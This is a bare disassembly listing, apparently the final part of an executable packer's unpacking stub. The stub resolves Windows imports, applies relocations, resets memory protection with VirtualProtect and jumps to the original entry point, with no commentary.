pop rbx
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0xc7000]
mov eax, dword [rdi]
or eax, eax
je 0x1400cb15a
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0xcb540]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x1400cb0fe
jns 0x1400cb133
movzx rdx, word [rdi]
add rdi, 2
jmp 0x1400cb13d
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x1400cb154
mov qword [rbx], rax
add rbx, 8
jmp 0x1400cb11e
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
add rdi, 4
lea rbx, [rsi - 4]
xor eax, eax
mov al, byte [rdi]
inc rdi
or eax, eax
je 0x1400cb194
cmp al, 0xef
ja 0x1400cb186
add rbx, rax
mov rax, qword [rbx]
bswap rax
add rax, rsi
mov qword [rbx], rax
jmp 0x1400cb166
and al, 0xf
shl eax, 0x10
mov ax, word [rdi]
add rdi, 2
jmp 0x1400cb175
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x23f]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x1400cb1e8
sub rsp, 0xffffffffffffff80
jmp 0x140060fa8